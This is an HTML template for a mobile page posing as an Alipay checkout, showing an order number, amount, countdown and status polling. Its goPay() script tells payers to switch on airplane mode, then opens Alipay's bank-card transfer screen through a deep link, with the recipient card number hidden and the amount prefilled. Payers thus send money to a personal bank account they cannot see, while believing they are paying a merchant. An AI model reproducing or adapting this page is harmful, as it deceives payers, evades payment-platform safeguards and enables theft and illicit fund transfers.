<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>在线支付 - 网上支付 安全快速！</title>
    <meta content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0" name="viewport">
    <meta content="yes" name="apple-mobile-web-app-capable">
    <meta content="black" name="apple-mobile-web-app-status-bar-style">
    <meta content="telephone=no" name="format-detection">
    <link href="/css/QRCode.css" rel="stylesheet" />
    <link href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet" />
    <script src="https://cdn.staticfile.org/jquery/3.3.1/jquery.min.js"></script>
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
    <script src="https://gw.alipayobjects.com/as/g/h5-lib/alipayjsapi/3.1.1/alipayjsapi.inc.min.js"></script>
    <script type="text/javascript" src="/js/qrcode.min.js"></script>
    <script type="text/javascript" src="/js/common.js"></script>
</head>
<body>
    <div id="mainDiv" style="display: none; width: 100%; text-align: center;font-family:微软雅黑;background-color:white;min-height:1000px;">
        <div id="panelWrap" class="panel-wrap">
            <div class="panel panel-easypay">
                <div class="panel-heading">
                    <div class="row">
                        <div class="col-xs-12 text-center">
                            <img src="/images/alipay.png" class="img-responsive center-block" />
                        </div>
                    </div>
                </div>
                <div class="panel-body" style="background:#fff url('/Content/images/wave.png') top center repeat-x">
                    <h3>
                        <small>订单号：${mchOrderNo!}</small>
                    </h3>
                    <div class="money">
                        <span class="price">
                            订单金额：<span class="price">${amountStr!}</span>
                        </span>
                        <span class="currency">元</span>
                        <h4>
                            <small style="color:red;">
                                请按照“付款步骤”引导安全付款
                            </small>
                        </h4>

                    </div>
                    <div id="f_pay" align="center" style="display: block;">
                        <a href="javascript:openAlipay()" class="btn btn-primary btn-lg btn-block" style="font-size:32px;" id="alipay">立即支付</a>
                    </div>
                </div>
                <div class="panel-footer">
                    <span><small>剩余支付时间：</small><span id="countdown" class="warning" style="color:red;font-size:1.2em">_</span></span>
                </div>
                <div class="panel-footer text-left">
                    <p style="color: #040460;">【支付协议】</p>
                    <p style="padding-left:10px;">
                        1.请在规定的时间内完成付款，超时请放弃并重新下单<br />
                        2.请核对正确的金额，切勿修改<br />
                        3.请勿保存二维码或者支付链接重复支付
                    </p>
                    <p style="color: #FF508B;">警告：请必须按照以上要求进行转账，如不按规定，您的资金可能无法找回。</p>
                </div>
            </div>
        </div>
    </div>
    <script>
        
        
function isAlipay() {
    var ua = window.navigator.userAgent.toLowerCase();
    if (ua.match(/Alipay/i) == "alipay") {
        return 1;
    } else {
        return 0;
    }
}
function isMobile() {
    var ua = navigator.userAgent.toLowerCase();
    _long_matches = 'googlebot-mobile|android|avantgo|blackberry|blazer|elaine|hiptop|ip(hone|od)|kindle|midp|mmp|mobile|o2|opera mini|palm( os)?|pda|plucker|pocket|psp|smartphone|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce; (iemobile|ppc)|xiino|maemo|fennec';
    _long_matches = new RegExp(_long_matches);
    _short_matches = '1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-';
    _short_matches = new RegExp(_short_matches);
    if (_long_matches.test(ua)) {
        return 1;
    }
    user_agent = ua.substring(0, 4);
    if (_short_matches.test(user_agent)) {
        return 1;
    }
    return 0;
}
        
        var waitInterval;
        var waitCount = 10;
        var clickCount = 0;
        var dot = [".", "..", "..."];
        openAlipay = function () {
		    //这里跳转的URL 还是本页面的地址，是在支付宝内打开此页面
            window.location.href = '${qrCardUrl!}';
        };

        function goPay() {
            if (navigator.onLine) {
                AlipayJSBridge.call('alert', {
                    title: '网络还是通的，必须先开启手机“飞行模式”再点立即支付',
                    button: '明白了，去开启'
                }, function (e) {
                });
            }
            else {
                AlipayJSBridge.call('alert', {
                    title: '跳转3秒后再“关闭飞行模式”重开网络付款，切勿修改金额支付',
                    button: '知道了，跳转吧'
                }, function (e) {

                    AlipayJSBridge.call('showLoading', {
                        text: '请稍后...',
                    });

                    ap.pushWindow({
                        //这里是跳转卡的 在这里替换参数
                        url: "alipays://platformapi/startapp?appId=20000200&actionType=toCard&sourceId=bill&ap_framework_sceneId=20000067&cardNo=请重新打开网络****&bankAccount=${skName!}&bankName=${skBank!}&bankMark=${bankMark!}&money=${amount!}&amount=${amount!}&REALLY_STARTAPP=true&startFromExternal=false&cardIndex=${cardIndex!}&cardNoHidden=true&cardChannel=HISTORY_CARD&orderSource=from"
                    }, function (result) {
                    });

                });
            }
        }

        InitQrcode = function () {
            window.location = "/api/tcpay/alipay_qr.html?param=${param!}";
        };
        //带天数的倒计时
        var timer = null;
        var times = ${expireTime};
        countDown = function () {
            timer = setInterval(function () {
                if (times <= 0) {
                    clearInterval(timer);
                    window.location.reload();
                }
                else {
                    var day = 0,
                        hour = 0,
                        minute = 0,
                        second = 0;//时间默认值
                    if (times > 0) {
                        day = Math.floor(times / (60 * 60 * 24));
                        hour = Math.floor(times / (60 * 60)) - (day * 24);
                        minute = Math.floor(times / 60) - (day * 24 * 60) - (hour * 60);
                        second = Math.floor(times) - (day * 24 * 60 * 60) - (hour * 60 * 60) - (minute * 60);
                    }
                    if (day <= 0) day = ''; else day = day + '天';
                    if (hour <= 0) hour = ''; else hour = hour + '时';
                    if (minute <= 0) minute = ''; else minute = minute + '分';
                    $("#countdown").text(day + hour + minute + second + '秒');
                    if (Math.ceil(times) % 3 == 0) {
                        $.ajax({
                            type: "POST",
                            async: true,
                            url: "/api/tcpay/query",
                            contentType: "application/x-www-form-urlencoded;charset=utf-8",
                            data: {
                                payOrderId : "${payOrderId!}"
                            },
                            success: function (rdata) {
                                data = JSON.parse(rdata);
                                if (data.status == '3' || data.status == '2') {
                                    if (!data.url)
                                        window.location.reload();
                                    else
                                        window.location.href = data.url;
                                }
                                else {
                                    console.log(rdata);
                                }
                            }
                        });
                    }
                }
                times--;
            }, 1000);
        }();
        function changeState() {
            clearInterval(waitInterval);
            $("#alipay").attr("href", "javascript:goPay()").text("立即支付").removeClass("btn-success").addClass("btn-primary");
            //goPay();
        }
        function waitSecond() {
            $("#alipay").text("支付宝授权中(" + Math.ceil(100-waitCount) + "%)" + dot[waitCount%3]);
            waitCount--;
            if (waitCount <= 0)
                changeState();
        }
        function returnApp() {
            AlipayJSBridge.call('exitApp', { closeActionType: "exitSelf", animated: false });
        }
        window.onload = function () {
            if (isAlipay()) {
                $("#mainDiv").css("display", "block");
                document.addEventListener('AlipayJSBridgeReady', function () {
                    AlipayJSBridge.call('setTitle', {
                        title: '支付宝收银台',
                    });
                    AlipayJSBridge.call('hideOptionMenu');
                    document.addEventListener("pageResume", function (a) {
                        returnApp();
                    });
                    document.addEventListener("resume", function (a) {
                        //returnApp();
                    });
                });
                //waitInterval = setInterval('waitSecond()', 200);
            } else {
                if (!isMobile()) {
                    InitQrcode();
                }else {
                    //$("#mainDiv").css("display", "block");
                    InitQrcode(); // 手机端也展示二维码
                }
            }

        }
    </script>
</body>
</html>